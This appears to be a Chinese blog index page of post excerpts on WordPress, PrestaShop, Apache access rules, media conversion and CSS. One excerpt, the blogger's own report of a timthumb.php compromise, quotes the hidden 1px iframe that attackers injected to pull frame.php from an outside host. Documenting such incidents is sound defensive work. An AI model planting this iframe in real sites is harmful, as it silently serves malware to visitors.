PrestaShop的菜单可以直接写在themes/your_theme/下的header.tpl中,或者使用模块(modules)来添加,最简单的模块可以只包含一些固定写入的菜单代码,举个例子,有个模块名为tmheaderlinks,顾名思义就是在header区域加一个定制化的导航栏。
该模块放在modules/tmheaderlinks目录下,主要包括如下文件:
继续阅读如何定制prestashop的导航菜单PrestaShop的菜单可以直接写在themes/your_theme/下的header.tpl中,或者使用模块(modules)来添加,最简单的模块可以只包含一些固定写入的菜单代码,举个例子,有个模块名为tmheaderlinks,顾名思义就是在header区域加一个定制化的导航栏。
该模块放在modules/tmheaderlinks目录下,主要包括如下文件:
继续阅读如何定制prestashop的导航菜单WordPress评论表单可以通过钩子函数(Hooks)添加或者修改内容,wordprss 3.2中,评论表单通过comment_form()函数输出,这个函数一般写在comments.php中。可以使用的filters和actions如下:
WordPress Comment Filters:
WordPress的Screen Options(屏幕选项)是WordPress的一个特色,它有两个作用:
1. 让用户显示/隐藏某些项目(modules);
2. 控制页面栏目的数量。
继续阅读不可忽视的WordPress Screen Options(显示项目)WordPress提供了几种为不同的WordPress分类(categroies)应用不同样式的方法,先看第一种。
继续阅读如何为不同的WordPress分类应用不同的样式Allow和Deny可以用于apache的conf文件或者.htaccess文件中(配合Directory, Location, Files等),用来控制目录和文件的访问授权。order,顾名思义是顺序的意思,所以order命令可以决定deny和allow起作用的顺序,通俗的说就是谁排在最后那么谁就有最终的决定权。
继续阅读Apache的order deny/allow命令的含义做主题开发时希望有测试数据可以快速丰富WordPress,这样我们就可以对主题有比较好的把握,安装测试数据的步骤如下
继续阅读如何安装WordPress测试数据(sample data)今天介绍一款实用的wordpress音乐播放器插件,名叫MP3 jPlayer, 由于该插件是基于jPlayer的,而jPlayer又基于javascript且支持HTML5,因此可以完美避免iphone和ipad不支持flash的问题。
继续阅读支持ipad和iphone带播放列表的音乐播放器jPlayerwordpress主题中一个很常用的处理图片的工具timthumb.php因为远程存储文件时候的验证上不足而产生了漏洞,允许在cache文件夹中执行一些php脚本,这已经不是什么秘密,可我就是中了招。 某天打开网站,发现服务器上所有的wordpress网站在firefox中都会打开一个弹出窗口,提示下载frame.php,这应该不是代码本意,不知道我的firefox出了啥问题,其实是在源代码里多了隐藏的iframe,用firebug查看源代码,可以看到下面的内容
<iframe id="iframe" src="%20http://counter-wordpress.com/frame.php" style="width: 1px; height: 1px;">
继续阅读timthumb漏洞导致iframe攻击,wp-settings.php被修改今天折腾的WP网站装了个收费的ecommerce插件,叫WP eStore,说实话感觉这个插件并不比免费的强大多少,还是很多人买。按照移植WordPress的方法折腾完,看起来很不错一切都没问题,访问到Store页面的时候,问题来了,eStore的shortcode报错,说指定的id不存在咋回事。
继续阅读WP eStore移植后数据全部丢失最近将wordpress升级到3.2.1版本,相应插件全部升级,我一直很喜欢用ckeditor for wordpress这个插件取代wordpress默认的插件,没想到全部更新后这个插件却和主题发生了冲突。
继续阅读新版ckeditor for wordpress插件与导致woo themes的主题选项无法使用今天心血来潮访问了下error_log,惊奇的发现自己博客的error_log从web就被轻松访问了,随即翻了翻别人的网站,在各个域名后面加error_log。有的提示404错误,有的提示无权访问error_log,有的就和我的差不多把主机信息都透露了。。。
继续阅读wordpress禁止从web访问error_log需要将swf文件转换成flv,解决思路是先将swf转换成avi,再将avi转成flv。
继续阅读将flash的swf文件转换为flv的解决方案WordPress为插件开发者提供了许多APIs,插件(plugin)就是通过这些APIs与WordPress交互的。每一类API或者程序接口在与WordPress交互中各司其职发挥着不同的功用,下面是一个简单的列表,列举了WordPress提供的APIs以及它们的作用。
继续阅读插件(plugin)如何与WordPress交互MOV即QuickTime影片格式,它是Apple公司开发的一种音频、视频文件格式,用于存储常用数字媒体类型。当选择QuickTime(*.mov)作为“保存类型”时,动画将保存为.mov文件。QuickTime因具有跨平台、存储空间要求小等技术特点,而采用了有损压缩方式的MOV格式文件,画面效果较AVI格式要稍微好一些。
继续阅读Ultra QuickTime Converter – MOV转FLV工具Chrome默认会为所有的输入框加上橘黄色的边框,虽然有时候可以使我们的网站看起来更友好,但对自定义的样式是有影响的。
例如做了一个圆角框的input输入框,如果没有对边框focus时的属性做任何休息,Chrome将默认加上一个正方形的边框,无视你将input的border设为none的命令。
为了避免麻烦我们可以禁止chrome为被激活的输入框添加边框,方法如下:
1. 禁止为所有被激活的输入框添加边框
*:focus { outline: none; }
2. 禁止为被激活的输入框添加边框,例如
.class1:focus{ outline:none }
3. 也可以自定义输入框被激活时的边框样式
.changeborder:focus { outline:Blue Solid 4px;}
继续阅读通过CSS禁止Chrome自动为输入框添加橘黄色边框WordPress模板制作中,function.php是一个特殊的文件,可以用来自定义模板中需要用到的函数,添加钩子函数等。为了为不同的模板添加不同的钩子函数,需要使用WordPress的条件标签(Conditional Tag)。
继续阅读[wordpress]在function.php中使用条件标签一例